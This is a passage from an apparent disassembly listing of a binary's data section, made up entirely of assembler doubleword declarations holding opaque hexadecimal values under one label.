		dd 0E8ABC0EFh, 0EB35326h, 0D7796A62h, 0C787E1A1h, 23802918h
		dd 2E405424h, 3FC7D2Ch,	0DB04CC02h, 79DFBFC1h, 0CDC17C43h
		dd 0DC119ECBh, 0AAE18200h, 98FE28h, 592EEB5Fh, 71339175h
		dd 0ECCD4800h, 7ABC7EBDh, 2CC4AA9h, 0FB97664Ch,	83004856h
		dd 32A52BE4h, 20163C5Ch, 112CBC18h, 2401172Eh, 0D0CDB6Eh
		dd 5440EBFCh, 6098F652h, 7C0E517Dh, 1300F4B5h, 84D41A71h
		dd 0D1EFA8h, 0C680125Fh, 6EC0AEAAh, 0E9FDF700h,	9CA2BFAFh
		dd 31DB00C2h, 8B8268EEh, 170156D2h, 7F88FEAAh, 7C3023E1h
		dd 291026FDh, 52E20078h, 2A6A199Ch, 0C469DF00h,	0EB7A7ED8h
		dd 53D53CBFh, 5620F16h,	80702630h, 0B7DA2073h, 8D492400h
		dd 0A193418Ah, 0D3783B4Fh, 32619Dh, 27A4B2ABh, 540781C3h
		dd 0B3FAC7C6h, 6FA97800h, 4A723C7Fh, 32CD5580h,	0EDBD6B77h
		dd 63D75200h, 0B88650D9h, 8EA40040h, 9A806CA0h,	7F502394h
		dd 70F39E0h, 326FF02h, 0C03FA89Ch, 459657h, 2AECB684h
		dd 0AAE790FBh, 0C4646728h, 8F976C38h, 0E2B5FECFh, 50CC04D7h
		dd 0C7B8819Ch, 0BC1048D0h, 8B1845Ch, 0DE2080BAh, 3013AC98h
		dd 5A189946h, 106C21h, 84D5A0BAh, 0B4D07E06h, 0DC8C59h
		dd 481DF3E7h, 9B45ECh, 46108A54h, 985652D3h, 144E4C00h
		dd 8728AECFh, 788C03FBh, 0D513B079h, 0B76D4100h, 2F45C2C0h
		dd 63277F6Ch, 58B30996h, 0ED72020h, 3E52644Eh, 9D386820h
		dd 472478A5h, 9F973CFAh, 831224A8h, 72F2008Dh, 57257670h
		dd 40A44400h, 0F33A6E07h, 0AACB29FCh, 18B5D180h, 5CF70E5Fh
		dd 0B729C960h, 700D5203h, 0C884A182h, 57648063h, 10C2CC54h
		dd 63455802h, 0FA53883Eh, 0B5B4002Eh, 631126C0h, 0D91D2BEEh
		dd 0EA806E69h, 0D0E9F723h, 0B00F01E2h, 4E1ED35Eh, 8AF63099h
		dd 0ED794FE4h, 5D388600h, 9E712003h, 4180037h, 0F27E55FDh
		dd 0AB012E94h, 8BE207A0h, 14C0B982h, 43783C76h,	5CBCE780h
		dd 0AD555E09h, 6DE32A00h, 0C54D4E86h, 5345127Eh, 0F980075Bh
		dd 0B506B3B6h, 0D4472FC1h, 3A004CC1h, 2D5E6AADh, 14DD1h
		dd 342675F7h, 0A5F3052Ch, 0B500257Eh, 0D9AE5BD0h, 2660E1Eh
		dd 4ED48506h, 91E09186h, 7F000AAFh, 72EBB448h, 636F01h
		dd 0EEFBB92Ah, 500E8335h, 677D5A00h, 8FE0C5EBh,	714E00D1h
		dd 5157212Eh, 8A3C74CDh, 3F588035h, 0C8AD1568h,	2FFF04Bh
		dd 0B261AAA8h, 0D480770Ah, 0F27946DDh, 0CB048003h, 0F06BADA6h
		dd 0F1B6C1h, 190CF482h,	0E4D79001h, 59217A00h, 0D3C062BCh
		dd 93993DCEh, 31001EBEh, 0D1F4BE61h, 1400DE06h,	0EEA68DACh
		dd 664D03h, 0FE53198Fh,	25327F0Eh, 31E11606h, 24305F90h
		dd 1E8304h, 61509470h, 5D009E39h, 14CC8FEBh, 1A9C967Ch
		dd 7846848Ah, 23B40D7h,	8306018Bh, 0BDE0782Bh, 7AA8DF5Ch
		dd 4700420Dh, 0E19FB7C7h, 73D7C1h, 36F2B801h, 3216CA43h
		dd 4CF30C00h, 1E8BAE33h, 580801C1h, 4D5CA411h, 34EE871h
		dd 0FB5DBF00h, 2D47B570h, 31A13E0Ah, 9CA8A61Eh,	0AB88C082h
		dd 0EB0C860Fh, 0C036E300h, 2FD226A7h, 19B9056h,	0A01A112Dh
		dd 0FC774FE2h, 9300F3E0h, 8E07C425h, 0FC4E75C7h, 762000B2h
		dd 0C9DC2EB0h, 2701FD61h, 0EC5B79D5h, 49F80671h, 0E6243C53h
		dd 85DD007Dh, 0EB8992B6h, 0E00A654h, 2CBA5EA0h,	1144449h
		dd 0EFD8F798h, 8EA8CDC8h, 40544B90h, 2BEC3094h,	66FD13C1h
		dd 20360C2Dh, 0C23034D8h, 4F1BA812h, 8FD30EDAh,	7840A60Ch
		dd 1E5C169Fh, 0F6198500h, 83327D25h, 143F00EFh,	239F5FF9h
		dd 81092F57h, 758FE139h, 0EB09B5D8h, 30F021Ch, 8E4015h
		dd 0E3472B18h, 6FE4E86Ch, 4CAC7B02h, 0E0CFAFFBh, 0D64CDh
		dd 4F8AA591h, 0C84138DBh, 0BB2D2300h, 7C438E02h, 8C4000CEh
		dd 0DBAC8DB7h, 0AA0035A0h, 3DA436F4h, 1E1D2BFCh, 462E1A62h
		dd 307AF7B2h, 9A429B0Eh, 0C3D7E0FBh, 1B66502h, 38E9D9CFh
		dd 80142C20h, 0BEA0BD59h, 70E0A5Ah, 0D0A395F9h,	3222C064h
		dd 0C70ADAF5h, 9843DB3Eh, 0D293B300h, 398B65E5h, 219266FBh
		dd 85DA00EDh, 2CA12555h, 99531103h, 0B0D70226h,	0A1C2B66h
		dd 8D894879h, 6B390085h, 87BDA9E2h, 0D2F54100h,	92166166h
		dd 0F907B69h, 0C92826A6h, 453DBC0h, 0B900BBA0h,	181599EAh
		dd 602730C5h, 130E298Bh, 830E1C8Eh, 40070D52h, 0F5347F29h
		dd 97F200E7h, 0C1C98927h, 9C0004BCh, 965CED59h,	6DDDFDh
		dd 28220915h, 40CDF11Dh, 0F3CC0D00h, 0EE54171Ch, 602D7DFDh
		dd 997BD0A0h, 0C3C87D1h
dword_563F38	dd 788F0156h, 0C8B99205h, 0AF29DE80h, 73E1A3Fh,	3876C000h
		dd 0FEA8CA5Fh, 40A20099h, 0AFA12C91h, 4476C2ADh, 3CFD6307h
		dd 46F0CD66h, 1FC85114h, 8006738Ch, 7D55B9D1h, 260003A8h
		dd 5CDBA10Fh, 1C71D984h, 819BE1h, 0AFD61E2Bh, 0A1248E05h
		dd 621F4A53h, 49F4D240h, 4C35076Dh, 6300437Eh, 5A8BD924h
		dd 0DB001225h, 0ABD8CF41h, 7F98B92Fh, 5234036Bh, 7FA4683h
		dd 0D9FF6AC1h, 2378EC90h, 1B90E490h, 382BF102h,	0C04B5216h
		dd 3D70Dh, 1AAD186Eh, 31D5BBB7h, 0D30EC15h, 66A10098h
		dd 7E7C52F4h, 783700ACh, 86DBFB0Ch, 47037119h, 0FE93DA49h
		dd 5B2EC801h, 4FCD00EDh, 0F8286BB3h, 3C0714B1h,	21FF0F5Ch
		dd 60339270h, 58DD00AFh, 12875590h, 0BC0302B4h,	896A3E96h
		dd 5920AF51h, 0AF40F0Bh, 8250D166h, 0C40D008Ch,	2A3E032Eh
		dd 740060E0h, 0BD6A1C4Ah, 7201DCE7h, 6C0D0780h,	8FA2875Ah
		dd 0FFA4FC6Fh, 2564902Bh, 0E71554Dh, 0E9AF7A07h, 0BCB0061Eh
		dd 0C08317h, 67305901h,	9F70578Eh, 78E45F50h, 2C8F9007h
		dd 0D690B8FBh, 9863D9A5h, 0BC6424D0h, 0FFF400B8h, 99838825h
		dd 8E678D71h, 3B900319h, 51A41Ah, 9B173F10h, 523136E1h
		dd 3EAF3C01h, 61B9E523h, 532C5830h, 0C10B498h, 958C00B4h
		dd 0B532423Fh, 90212CC9h, 5A003FFFh, 4880F774h,	920EEDD4h
		dd 0E0755EF0h, 632A58F8h, 9D98A01Ah, 41C201BAh,	8C5533A9h
		dd 307CD979h, 2498C128h, 0D474E000h, 0B4D5A317h, 0D7982Ah
		dd 60E6C8Ah, 4EE26882h,	0F7EA521Ch, 8925380Fh, 321B80FFh
		dd 83AAADh, 190DED7Bh, 15F9D6BCh, 0A626523Ah, 3B02E0DBh
		dd 0C0138B53h, 179AFABh, 3819EAAEh, 0D04068FDh,	9900AAB2h
		dd 842792E5h, 60D0F544h, 47ADBA48h, 7B1E3F8Eh, 0D9C05424h
		dd 7A146721h, 2EFB0064h, 42D5DD45h, 7300F2CFh, 0D48FF40Dh
		dd 6C359h, 4C049935h, 787F1A69h, 0ADE78404h, 87A4DCh, 0E8270EA3h
		dd 82BEC1h, 0A2415750h,	45A137EFh, 0DD928E01h, 61743163h
		dd 7221D1C0h, 9E7200C1h, 7F08CAFCh, 0AB00E954h,	5E35B3C6h
		dd 0C023CCh, 884D850Eh,	6922A18Bh, 84E850F1h, 0AB03A589h
		dd 0FADC7E25h, 6A22D98Bh, 4881052h, 1D5D1D3Dh, 767B903Ch
		dd 1015617Dh, 0FD5391E2h, 21208AA7h, 69062068h,	1CD897F6h
		dd 0C088C585h, 6C28C41Eh, 3E600A22h, 2D2029F0h,	80A854F5h
		dd 8B7506A1h, 60A7D96Dh, 85EF68A0h, 0F028672Ch,	1E0362A6h
		dd 0FB2E9827h, 0D4081970h, 0CCA57824h, 1800FBC3h, 518EC27Eh
		dd 0C193C20h, 0C6549359h, 0FA00145Ch, 4294884h,	0CC7F41h
		dd 4E3F1D8Ah, 352573EFh, 0F1BCCA03h, 88E9863Bh,	0A19E0A1h
		dd 0A2602C8Ah, 73C040D4h, 2A013BC4h, 211E2D50h,	95D12EE8h
		dd 0FBE72180h, 4A0605C5h, 14AB9200h, 0B5F18BEDh, 19E20124h
		dd 6A32A129h, 0D2EAD551h, 0F2AEFC68h, 460BD500h, 84A40392h
		dd 0A68C00DFh, 8855AFBEh, 15E22543h, 3428AD7Ah,	4A00886Ch
		dd 6B6979CCh, 2AA7358Fh, 3C00F7Dh, 0FDA12411h, 11001FEAh
		dd 5B6FD97Ah, 1988ED85h, 8E59D0Eh, 0DD218014h, 56BF6FD2h
		dd 0E0C80774h, 83D3E96Eh, 58189EADh, 0D0E194A2h, 5AD6006Dh
		dd 0F2978E78h, 860176BEh, 4F678F6Ch, 0FECCF701h, 0DE3F0168h
		dd 0F1151B5Ah, 46B88C08h, 40F51011h, 0D172A72Eh, 0DE187500h
		dd 0D766C12Dh, 0BE0203FCh, 0CF237BDh, 3DF4FDB8h, 0D923340Eh
		dd 0A46E2050h, 0AD7BA6h, 4206A7BEh, 6CF6997Dh, 11309100h
		dd 0C862C793h, 0DD5830FFh, 5D33853Ah, 694BCE17h, 47D8460Fh
		dd 0DDE0ECE3h, 0FA0AA48Eh, 0DC7600C8h, 0DFE90BEh, 1000B24Eh
		dd 0E23C94D4h, 820433h,	9A983BD8h, 0B46DC5E0h, 62AB9F00h
		dd 0CAF5A49Bh, 7096B8F3h, 0E05F0050h, 92CCE2BAh, 0F100229Dh
		dd 0C604232Dh, 33D815h,	474C393Ah, 20BE5D01h, 96CC5A26h
		dd 0BBAB6003h, 4CA0E762h, 1DA4BDCEh, 0C021EB44h, 0B74880Ch
		dd 0B21C5BF3h, 0D6CFA257h, 0C64F8093h, 0BC508Dh, 0DDEB75B8h
		dd 9AE6E818h, 21602B01h, 3255A0B4h, 0F5408E4h, 0CDDE318Dh
		dd 24A2260h, 0B3EAD5E9h, 42750700h, 0A3F82712h,	3F050015h
		dd 629E9366h, 2D0016B5h, 0FA9A3629h, 342C870h, 38A155F9h
		dd 0C08DD08Bh, 0C6FEDA28h, 0E61B9E0Fh, 0A9BC0021h, 12E181CDh
		dd 0F9C981Ah, 0E40D377h, 0AD48770Ah, 315D73Eh, 0EDF80834h
		dd 0E2C3A046h, 0EF973D01h, 54094780h, 19A8AABBh, 64DE3C1Ch
		dd 2BFB80C0h, 0BF3D56h,	940C69D7h, 0C779B362h, 0A70012FCh
		dd 0ADDF5585h, 1C3B73Ah, 528C7A44h, 0F0BD4B1Dh,	4E002056h
		dd 0B75FBFC5h, 0A0E5174Ch, 1DCC988Ch, 83F83526h, 23DBCF85h
		dd 0C45396F1h, 3B00BDD6h, 3AC407F2h, 84F0A0h, 9719CFC0h
		dd 0C266FECDh, 0D8F45250h, 0CCCAAE09h, 60140E5Ah, 0A6B05569h
		dd 0C7E880h, 0D70C92C1h, 4E8A2ECEh, 0A9714400h,	0EC401545h
		dd 83F50FFAh, 0FA384207h, 96EE2FDDh, 983F48C0h,	0A6EDBFh
		dd 24011D61h, 49E5DEF8h, 4067142Fh, 3FE2BBh, 11B5417Ah
		dd 0FA1E7901h, 1CA16603h, 0A0AA4ACFh, 747D61h, 0A4F3BA25h
		dd 8FFAFD08h, 0D6950706h, 7602B1h, 0F2CA250Eh, 93814DD8h
		dd 0C8639F00h, 0A1D955B9h, 986D0484h, 82CEBA51h, 8C61FD93h
		dd 0E1D880DEh, 55416B54h, 77FB1325h, 0F03ECEDh,	418A5D49h
		dd 0C763593Eh, 482FBDF8h, 890E30C8h, 79604814h,	0EF449368h
		dd 9108BF00h, 2EDF6016h, 522A0051h, 7187B7CCh, 13EEDDACh
		dd 0A905738h, 0B8DF8F24h, 944FAA08h, 0F60754CBh, 11B496DAh
		dd 0EF946EE4h, 0C1C52C8h, 9C90EBE0h, 0D5348103h, 0E7827069h
		dd 42605ED0h, 96FE0E98h, 88F435EAh, 5CA9BA07h, 7B07300Eh
		dd 0D8009319h, 31879A56h, 25978D9h, 0E5E2FD69h,	1A40FFCEh
		dd 30F3CCBh, 43E9A05Dh,	0E06D3419h, 264648h, 4C453D4Fh
		dd 52FF08ACh, 0B4280090h, 9A02F011h, 0E4A647EBh, 0F6B0A014h
		dd 0EF1690h, 0A00421FAh, 0E618504Ch, 4930E324h,	0F4813401h
		dd 0F1C0B7A8h, 92A30957h, 680716CDh, 0C5049072h, 3A07D84Bh
		dd 209BFC5Fh, 0BAA455B0h, 0CA592474h, 0B8C48148h, 0FC17BB3Dh
		dd 2800EFD8h, 715BEB8Ah, 3394A060h, 0E0A84504h,	0B30056A4h
		dd 9C166B92h, 0E6EF3E80h, 651F500h, 28D2299Fh, 8A70090Eh
		dd 950240D0h, 0AF9D71h,	660B52C0h, 6F05E07Fh, 0DC4CF124h
		dd 9B81D20Ah, 0E0421A0Fh, 612AE252h, 0D65F3F0Ah, 0AC01E33Ch
		dd 555A8D1Ch, 2544E099h, 0FC187700h, 125B6489h,	457A0036h
		dd 0FD22D1B5h, 6E0EDAE4h, 0A1B382C2h, 3694E76Fh, 51ED0h
		dd 16C30ABFh, 55AB50B6h, 0B2C7C12Ch, 3E272E00h,	0C299CE0Dh
		dd 0A0461641h, 0A853A380h, 0C00CD89h, 0D77E2F55h, 3F667476h
		dd 0F69E7D05h, 53FF49D6h, 0BDB5D420h, 3375614Eh, 1FC44600h
		dd 0E507C7EBh, 0A7EC00C2h, 0DC9881Eh, 6900296Ah, 31594F2Dh
		dd 7714D09Ch, 2AA93A9Fh, 6A7B0E80h, 250B7CCEh, 439D907h
		dd 7AA05E3Ch, 0A06EC881h, 1A246280h, 0D84D63D2h, 425C6E40h
		dd 64B93502h, 0A0731A53h, 926AF2D8h, 0F54C00FDh, 0B0D948D7h
		dd 0BF00EA0Ah, 0A6535A63h, 0E69567h, 41CAA739h,	0C09EA942h
		dd 3DB17109h, 13840072h, 5FF37936h, 18B8B8F8h, 7C187383h
		dd 9C510060h, 0E9A97A89h, 140021B4h, 9EBE4EB8h,	56B225h
		dd 0D7F00E57h, 210B131Bh, 7037C724h, 0DB863A00h, 9880CDh
		dd 7A9261F7h, 4408937Fh, 0A7FBD100h, 998A7BAAh,	40910190h
		dd 0E3051866h
		dd 0A3ABD89Bh, 84057490h, 138D4138h, 40BEC048h,	0ECDF7515h
		dd 9E21D002h, 40D24D8Fh, 0E870B52Ch, 91031F6Bh,	0E716408Bh
		dd 0D512DEE4h, 228F20C0h, 0AF5463h, 20D2B689h, 0E81FCD4Bh
		dd 5BA7C90Eh, 869B00BFh, 26A8Dh, 0DDE51479h, 6713B917h
		dd 7FC0890Bh, 7293006Dh, 0D57CAh, 626352B6h, 1E994361h
		dd 0A7082B00h, 0C18542F1h, 13102C3Dh, 0DB7C00DCh, 2D0B8259h
		dd 860D4E7Bh, 58C124FFh, 0D8BAE8h, 8828FC49h, 5283C362h
		dd 639EDD00h, 0BFA42D04h, 0E59B0E71h, 57A16BDCh, 0FCF7D8C0h
		dd 14013672h, 1B67EF04h, 6EF48B2Dh, 3A097552h, 24812141h
		dd 0AC35C357h, 31E0C87Dh, 610ABB00h, 796FC2E1h,	0CC080041h
		dd 0D7DF771Bh, 0BB00D07Eh, 29273EB1h, 0DD75B9h,	0BD9D3865h
		dd 0EC4C5B06h, 0C1690C07h, 0D107A1Fh, 0B3952h, 0CE8D2694h
		dd 0BC3854CBh, 354AC400h, 592AEE09h, 279400D2h,	0F639001h
		dd 0A602FFB8h, 42C9A3E8h, 0DE64485Fh, 0D7E10035h, 445612B1h
		dd 361DB23Dh, 15DE5AE4h, 77F01680h, 0C3949DB3h,	0B933BBFCh
		dd 0EED9A1EFh, 0F17BC8CDh, 478CDE00h, 0B6112BA5h, 811A1635h
		dd 0BC20403Ch, 14C3968Dh, 0BE15F401h, 0E022A61Ch, 0C8F2D6D5h
		dd 62C81BC4h, 44B8313Bh, 0ECB68FE0h, 6D3762E4h,	0E48718EBh
		dd 94D4DFA0h, 0EC1CFE23h, 0FE64005Fh, 0A0EB1A31h, 0BD1EC371h
		dd 0CB0027E9h, 8E853275h, 5D8700BFh, 0D9EAC866h, 4700F9C5h
		dd 114B9AE1h, 240B7B73h, 728613h, 96D96D4h, 4E0E0FDEh
		dd 80C2A897h, 2BD0941Bh, 390767Eh, 0E67D371Ch, 39018022h
		dd 0DD7B110Fh, 982494FFh, 5E5B181Bh, 0E016C0B8h, 0BC15D0C6h
		dd 40E50060h, 0DE5B73B1h, 0F30006A4h, 2C19C07Fh, 0B8AD9589h
		dd 0E43800EEh, 97A4BFB5h, 93001586h, 1CA2E5FBh,	0DE7D4Eh
		dd 0D778809Ah, 264C3E6h, 363C42F0h, 6EF60092h, 21E2E4E1h
		dd 0AC930EA9h, 1860BCBFh, 69546042h, 0E91D381Dh, 0A08D8380h
		dd 745B244h, 24E09D40h,	0B7E841EAh, 0FA27EC56h,	0CBE40150h
		dd 0FB6D9700h, 0BC19BA82h, 1F9672B0h, 870F90C3h, 0D40C227Dh
		dd 0A2DCC0E8h, 0F900AFCEh, 47E75B40h, 3EFAAE08h, 96802709h
		dd 0E67C73FDh, 6E004A9Bh, 16665310h, 1E303Ah, 49646D29h
		dd 0EB65B441h, 958E5A0Fh, 130F9323h, 1430824Bh,	0E184498h
		dd 7807DFCBh, 0C1A141Fh, 3B81526h, 0F8414A4Ch, 9C56A3B9h
		dd 20707E48h, 300E5B04h, 0BA31ADB0h, 0A114FC15h, 72F40622h
		dd 86081E66h, 0F7DB4021h, 40AF8312h, 0D15014h, 413AD7DCh
		dd 71C43B46h, 0AA7509F9h, 19830EC3h, 99B0EF40h,	44A1731Fh
		dd 9A05EEF3h, 0ED806000h, 0D19256Bh, 5347C5E0h,	0DA09120h
		dd 0A2FC1480h, 448C6E22h, 6C00DC93h, 3831D6FCh,	1FE9966h
		dd 9F3D4A58h, 0E4323BEDh, 9B63D76Fh, 0E8C5F879h, 0CCE1185h
		dd 0D6193CBEh, 21C0E508h, 29FDC5Bh, 55B2C08Bh, 87D17198h
		dd 0B4C0F450h, 0CE75D800h, 0B9D547C1h, 7D8A1E4Fh, 0C008DDF5h
		dd 0D7FC9D86h, 0B8034E2Fh, 7CABF2CCh, 0C3679831h, 59A41C0Dh
		dd 0E1B68080h, 38E7A13Ch, 884E7F26h, 14738D00h,	6EB167h
		dd 0F67533DFh, 0E9AAE2B7h, 0B9E06500h, 2B821CC6h, 53E60138h
		dd 0BC84F39Fh, 6091E58Ch, 8600D149h, 0B81B66D0h, 0A243D3h
		dd 4E041C54h, 0C5C93F9Eh, 7937603h, 0F8EDE826h,	1D3114A0h
		dd 0C01BFD3Ah, 0F439247Fh, 4A74304h, 7CB35003h,	0FD110033h
		dd 0E712D2Fh, 0C00B208h, 7B367F62h, 30E05020h, 8329297Dh
		dd 4A00CE4Bh, 72EE23DDh, 7A5CA79Fh, 0AE40EB69h,	0C3C785h
		dd 8AE24309h, 2DBF987h,	39417501h, 0E8730D70h, 70FCC4FCh
		dd 0AE88C00Bh, 62F1D0Fh, 0D9818E00h, 41F7526Ah,	4FC0017Ch
		dd 31B7B89Bh, 420802Dh,	7744C48Fh, 820A7FBh, 0AEC056A5h
		dd 8053595Fh, 891F172Eh, 5600EF3Fh, 60790FB1h, 0A6723A7Eh
		dd 149F2D83h, 61DB8650h, 44FE3002h, 0A007ACE9h,	789BA49Ch
		dd 809D1C1Bh, 9851935h,	442180BBh, 0E68A7873h, 4400307h
		dd 0FBB80EDBh, 105532A8h, 0B10BC0A8h, 94DD6D28h, 8B6152F8h
		dd 3E9F0519h, 0F6A3B450h, 5479F02Fh, 1826D80Dh,	9827DDB7h
		dd 2C11421Fh, 9F05AE80h, 6DF32D1h, 0B83450B4h, 9602E846h
		dd 989D1878h, 47103031h, 0D207786Eh, 0BE99AB3Eh, 0A148CEFEh
		dd 0A07F0356h, 1F424EF0h, 40E4B97Eh, 221BDB05h,	0E8A345CBh
		dd 171A1003h, 0C60CD0Eh, 2F0B4BA0h, 0A0E4FAB9h,	0A95ACF00h
		dd 24F7AF77h, 3AD107F3h, 200F9FC8h, 8DD9432Ch, 2F2EA11Eh
		dd 0B4523D40h, 3E7E025h, 3E5BB62h, 510ED7A8h, 785D572Eh
		dd 33D11368h, 0F3F8EF7Ah, 380CF488h, 1C9929C0h,	6AE9CC7h
		dd 563FA8D0h, 0DA6008CFh, 0C744F921h, 95E6008Fh, 456ED5B7h
		dd 881E3EE7h, 85008987h, 52BC0990h, 0F83260FAh,	5A3D74F5h
		dd 10BE0A30h, 51E9890Bh, 0C761E42Ch, 0E1E75980h, 9C8D8FB9h
		dd 7AF82707h, 0D0A0EF23h, 0C05469BFh, 52E94EB8h, 48C3A89Ah
		dd 0A6BC0341h, 72F70041h, 749499CAh, 0F10098F2h, 95DE585Ch
		dd 3B9F2Eh, 0A0A88F56h,	89AFFF27h, 849C502Bh, 208A7109h
		dd 74382028h, 2B376CCh,	379D0E6h, 5020D7A5h, 0C72B3DBEh
		dd 1052A891h, 73D2EF70h, 2F1A58h, 69439B33h, 58A2E2Dh
		dd 3E898678h, 328C0031h, 0C19DFEA4h, 78E3D631h,	5FD1B7AEh
		dd 0A0649C24h, 0A2B113C7h, 4D189810h, 0C2152889h, 3934209Ch
		dd 0E52EA05h, 8427E455h, 99C12AC7h, 1180F071h, 9CFE72D4h
		dd 6007980Bh, 5F4873D5h, 0B21D746h, 0E1FFFACEh,	9D539800h
		dd 91CDF3Dh, 0D0865257h, 1F88018Eh, 9F1508F7h, 700DD9A2h
		dd 0DE849809h, 55BABE90h, 3E8F02Bh, 91AE6ABFh, 80FB1130h
		dd 0AEA3C715h, 0DE448C78h, 0C71D0094h, 7E17023Ch, 0A096698h
		dd 222A5989h, 238EBBFCh, 0C69BD10Bh, 52A61806h,	10990AAEh
		dd 0AC541D9h, 8CF3189Fh, 4D606464h, 0B109FFEh, 0DFC85F40h
		dd 0FFF53387h, 0C19F1240h, 84D050EAh, 1C0E262Ch, 0B2038600h
		dd 5005B93Bh, 71249FC0h, 88EE5000h, 7EA22AE9h, 0E082321Dh
		dd 0F8608340h, 2C88C461h, 4094260Fh, 0BAB18E48h, 0BFAE0490h
		dd 0C806C51h, 921EC1CAh, 2C870754h, 953393C9h, 4658887Ch
		dd 7F0D6400h, 3C4B0623h, 442700D8h, 0BA6B98Dh, 2E6F1C4Ah
		dd 4D8763A9h, 851AB09Bh, 16EA3A1Fh, 0DA354001h,	4EE8D6C5h
		dd 0C0DE8894h, 0A7835815h, 0B4EBA214h, 47BE0FC4h, 29F70942h
		dd 981033D8h, 607C1F39h, 9A63C13Fh, 0BC0171B1h,	0B408EFCDh
		dd 58D1E095h, 82802183h, 0BAF890B1h, 5DF8C34Ah,	0FCD50906h
		dd 0A1890B2Dh, 3820E49Ch, 190CF577h, 0AE97C708h, 40C2C418h
		dd 87C741F8h, 39F10AD9h, 0CC2944h, 1B0A8473h, 9003AE96h
		dd 37A2A6A8h, 81C904BEh, 48C3369Dh, 0B180C041h,	9D21BC4Fh
		dd 193091E0h, 0FF20E87Eh, 0B9808DC9h, 7B2426ADh, 3318D035h
		dd 519DB57h, 392E6980h,	96B39418h, 0DCA3BA03h, 88618CFEh
		dd 2EFC542h, 0A5F4839Fh, 64C18FF3h, 78D81986h, 689D211Ah
		dd 786445C0h, 0E3F80090h, 0CBA5BB0h, 7D50B39Dh,	2000F35Ch
		dd 0AAEE88B7h, 0A8A1F2h, 4A86AE38h, 2BBEBD07h, 8059463Eh
		dd 6063118Ch, 0C0014E4Dh, 2CBB96C9h, 0A773DE88h, 239A3Eh
		dd 2FDC1968h, 18E16E6h,	0E0D5B59Fh, 0E028A2ACh,	7224B0BFh
		dd 7C0E78EDh, 34A9BEh, 62D19D84h, 0C319C1D7h, 62F3F855h
		dd 14B628E0h, 4E20EC98h, 0FC387FD8h, 9E4226A6h,	0CB738610h
		dd 0E081D93Ch, 0C240191Eh
		dd 91E5BC72h, 8769C044h, 9776CAB1h, 6C8A3100h, 9BD23625h
		dd 0A8CC1014h, 84E42463h, 281C0B08h, 451F11F8h,	0F980089Ch
		dd 32E0E35h, 0BFEC4E60h, 0EA03EB14h, 7D228B02h,	3171003Dh
		dd 0BC9FD92Eh, 707FE042h, 0A28C1402h, 982FCE85h, 9DCD0h
		dd 27B5C682h, 0C5CD8998h, 600D0A00h, 0FED4388Ch, 38C774F5h
		dd 0E50094EBh, 0E4F3F690h, 0EF0079B5h, 90F6E37h, 9098C981h
		dd 5094016Ch, 4B07F0Eh,	0F08C768Eh, 20AA7A3h, 196026A5h
		dd 7CC06FD0h, 0CD89D4CAh, 43393A8Ah, 0B19EC0C0h, 0ED21BC4Dh
		dd 6C91E0h, 0F0B18674h,	0E490B73Eh, 2A627F8Bh, 0EAB01389h
		dd 1F6C05BFh, 2E8C94BCh, 0F235Ch, 0E88E7B48h, 91009828h
		dd 4CCB7180h, 483D5E50h, 678304Dh, 0E3110F2Bh, 0E5221892h
		dd 0D56B0429h, 0A08BFD2Eh, 0D7411958h, 7AC5030h, 14D21A38h
		dd 895ED29Dh, 0B72E8481h, 0E559834Dh, 23F894BDh, 0A20C84B8h
		dd 94B83878h, 9A4B58A0h, 0A2287805h, 83149414h,	56429D38h
		dd 8482B3C5h, 84811CB8h, 0AB01BA86h, 804187B5h,	77D089C8h
		dd 1CB0D957h, 53C05F25h, 0C1D9012Fh, 0E8BF9CB3h, 804C99E6h
		dd 2C6D1080h, 8C57F8h, 74B31DFAh, 877CD8F3h, 42BD8506h
		dd 7A98026Eh, 31266044h, 0EF34749Fh, 0DAC6601h,	5A8F38Bh
		dd 26F852D2h, 66C836Eh,	102A3528h, 4F015C9Bh, 700B81FEh
		dd 3188C818h, 0FE7177h,	9CCBF7B8h, 0E7F97A65h, 0D9B10A0Ch
		dd 1944E0D5h, 9803D7AAh, 0FC64EEF5h, 31BABC3Eh,	8AC1801h
		dd 14B1039h, 17F6EA0Ch,	0EB74E446h, 228A0527h, 68D11C04h
		dd 0BB7BE4h, 768683F1h,	0E32C5C3Dh, 7F001C98h, 879D35BAh
		dd 3396E57Bh, 2EB90981h, 0E033A189h, 9831F904h,	1AB190Bh
		dd 0BB9F8180h, 0E0DA8CDEh, 5002F670h, 9E0A4ACFh, 6954409Ch
		dd 0F8BD8055h, 0B0DDAF26h, 113C9D52h, 5ABF83B9h, 1C7691BCh
		dd 9400F829h, 9583ADB9h, 414AB7AEh, 432C7004h, 2FC8BCCFh
		dd 0B9338CC1h, 0FB01E872h, 802D031Fh, 9C59A4A3h, 0E3236260h
		dd 9F640633h, 0E8769DB7h, 38027E8h, 52D54BBDh, 7D9A001Ch
		dd 32F15E7Ch, 0D2C321C4h, 6034A347h, 0C40924F7h, 0B16BB504h
		dd 0DCE71B67h, 0D2E312B4h, 0DC732DBCh, 2201052h, 80B08C55h
		dd 8B0CF621h, 6485C71Ah, 0EA80D920h, 0B042FB23h, 0EBADABh
		dd 47203A85h, 0B3508EE7h, 58ACAA0h, 7CF0B0B2h, 49B02A54h
		dd 33A6C000h, 9F2E0F8Fh, 0B9C24F2h, 8834149Bh, 114B413h
		dd 73394418h, 0CD92C4DCh, 6B1446F8h, 1248904h, 55B178B4h
		dd 58FC3A7Eh, 87AE0D5Ah, 80E0306Dh, 111CEF90h, 55722C6Ah
		dd 0ECF0F40Ah, 51B5035Ah, 0EDFD5649h, 33352299h, 0BD4E001Ch
		dd 76CB508Dh, 308400BAh, 0B44CFA78h, 5F24444Fh,	8008CC53h
		dd 73FB8041h, 0AE5257C9h, 0A3BB4017h, 808D2808h, 0D048B5E5h
		dd 84016196h, 2E407E71h, 4E3210Fh, 563136A9h, 0CE8A013h
		dd 0D855A9C1h, 0A041DB96h, 5C24D14Eh, 772E00FAh, 86F8A3CAh
		dd 0E4E81D02h, 9DDA8D03h, 75017FF9h, 7C50C031h,	0F6057EC8h
		dd 0FAEC1D00h, 29923482h, 78C30E2Bh, 18030EDh, 0A3FC2E9Eh
		dd 0BF7EB700h, 0D92A65DEh, 32E267h, 24D5EFF1h, 82AA38ABh
		dd 0C80E9000h, 0B0F7C2DDh, 2CAE0057h, 0A17048C6h, 53006CF2h
		dd 5ED21F04h, 71C80FC5h, 0EB9A02C4h, 230D622Ch,	431B46E0h
		dd 83E08100h, 0A3C03E89h, 201E0028h, 3773F40Eh,	0D700072Ah
		dd 0DDD997E5h, 0E85986F6h, 3CA300B1h, 0B3FDE635h, 3D004D9Eh
